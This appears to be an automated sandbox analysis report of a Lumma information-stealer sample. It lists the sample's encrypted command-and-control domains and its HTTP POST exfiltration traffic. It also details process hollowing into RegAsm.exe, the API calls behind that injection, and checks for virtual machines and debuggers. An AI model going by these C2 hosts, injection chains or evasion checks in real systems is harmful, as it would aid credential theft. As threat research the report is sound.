Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 584300Host: composepayyersellew.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 92Host: composepayyersellew.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: composepayyersellew.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: composepayyersellew.shop

Source: TS-240622-Lumma4.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: TS-240622-Lumma4.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://composepayyersellew.shop/
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://composepayyersellew.shop/api
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://composepayyersellew.shop/api0
Source: RegAsm.exe, 00000002.00000002.1348114709.0000000000CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://composepayyersellew.shop/api4
Source: TS-240622-Lumma4.exe	String found in binary or memory: https://www.entrust.net/rpa0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.90:443 -> 192.168.2.7:49711 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D810 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042D810

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D810 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_0042D810

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042DA00 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

2_2_0042DA00

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D2E218	0_2_00D2E218
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D2A458	0_2_00D2A458
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D60428	0_2_00D60428
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CFC6CD	0_2_00CFC6CD
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CFE670	0_2_00CFE670
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D60748	0_2_00D60748
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D2C733	0_2_00D2C733
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D34B18	0_2_00D34B18
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D0CB1F	0_2_00D0CB1F
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D48B07	0_2_00D48B07
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D00C5A	0_2_00D00C5A
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D2CC68	0_2_00D2CC68
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D58DE8	0_2_00D58DE8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D0AEF8	0_2_00D0AEF8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D2AE18	0_2_00D2AE18
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D4CFD9	0_2_00D4CFD9
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D00FA2	0_2_00D00FA2
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D4D032	0_2_00D4D032
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D475E8	0_2_00D475E8
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D4B558	0_2_00D4B558
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D3D6E7	0_2_00D3D6E7
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D13682	0_2_00D13682
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D117BA	0_2_00D117BA
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CF98A0	0_2_00CF98A0
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D299D8	0_2_00D299D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004215F0	2_2_004215F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00417B18	2_2_00417B18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00420BC0	2_2_00420BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404E20	2_2_00404E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00416EFA	2_2_00416EFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042703A	2_2_0042703A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00408220	2_2_00408220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00423323	2_2_00423323
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00404460	2_2_00404460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A430	2_2_0043A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004014CE	2_2_004014CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425560	2_2_00425560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D5A1	2_2_0041D5A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00438670	2_2_00438670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004176E1	2_2_004176E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406680	2_2_00406680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043A750	2_2_0043A750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004387E0	2_2_004387E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040191C	2_2_0040191C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00422920	2_2_00422920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004389D0	2_2_004389D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004039E0	2_2_004039E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401A63	2_2_00401A63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041DAF2	2_2_0041DAF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00438B40	2_2_00438B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB20	2_2_0040EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401BB8	2_2_00401BB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401C48	2_2_00401C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00406C70	2_2_00406C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00420C30	2_2_00420C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401CD2	2_2_00401CD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041DCF2	2_2_0041DCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00438CA0	2_2_00438CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421D47	2_2_00421D47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432DF0	2_2_00432DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041FD97	2_2_0041FD97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401E17	2_2_00401E17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401F30	2_2_00401F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426FE1	2_2_00426FE1

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: String function: 00CF7A20 appears 57 times
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: String function: 00D34CC8 appears 120 times
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: String function: 00D2EC28 appears 72 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040ECD0 appears 120 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408C30 appears 47 times

Source: TS-240622-Lumma4.exe

Static PE information: invalid certificate

Source: TS-240622-Lumma4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042A52F CoCreateInstance,

2_2_0042A52F

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Command line argument: Error

0_2_00CE6E60

Source: TS-240622-Lumma4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: TS-240622-Lumma4.exe	ReversingLabs: Detection: 44%
Source: TS-240622-Lumma4.exe	Virustotal: Detection: 50%

Source: unknown	Process created: C:\Users\user\Desktop\TS-240622-Lumma4.exe "C:\Users\user\Desktop\TS-240622-Lumma4.exe"
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: TS-240622-Lumma4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: TS-240622-Lumma4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CF7205 push ecx; ret	0_2_00CF7218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043F0F9 push eax; retf	2_2_0043F0FD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440620 push 47809784h; iretd	2_2_00440635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043F960 push esp; ret	2_2_0043F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043FC17 push esp; iretd	2_2_0043FC18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043EE65 pushad ; retn 0047h	2_2_0043EE71

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-37356

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5076

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00D0F352 FindFirstFileExW,

0_2_00D0F352

Source: RegAsm.exe, 00000002.00000002.1347986697.0000000000C0A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1348064447.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000002.00000002.1348064447.0000000000C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00436EA0 LdrInitializeThunk,

2_2_00436EA0

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00CF7823 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CF7823

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D0AD74 mov eax, dword ptr fs:[00000030h]		0_2_00D0AD74
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D052A4 mov ecx, dword ptr fs:[00000030h]		0_2_00D052A4

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00D0FF4C GetProcessHeap,

0_2_00D0FF4C

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CF75F4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CF75F4
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CF7823 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CF7823
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00CF79B0 SetUnhandledExceptionFilter,	0_2_00CF79B0
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: 0_2_00D03947 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00D03947

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_0144018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0144018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: TS-240622-Lumma4.exe	String found in binary or memory: doughtdrillyksow.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: facilitycoursedw.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: bargainnygroandjwk.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: disappointcredisotw.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: leafcalfconflcitw.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: injurypiggyoewirog.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: publicitycharetew.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: computerexcudesp.shop
Source: TS-240622-Lumma4.exe	String found in binary or memory: composepayyersellew.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43B000	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 91E008	Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe

Code function: 0_2_00CF73E5 cpuid

0_2_00CF73E5

Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: EnumSystemLocalesW,	0_2_00D12091
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D1211C
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,	0_2_00D1236F
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00D12498
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,	0_2_00D1259E
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00D1266D
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: EnumSystemLocalesW,	0_2_00D095F3
Source: C:\Users\user\Desktop\TS-240622-Lumma4.exe	Code function: GetLocaleInfoW,	0_2_00D09ABC
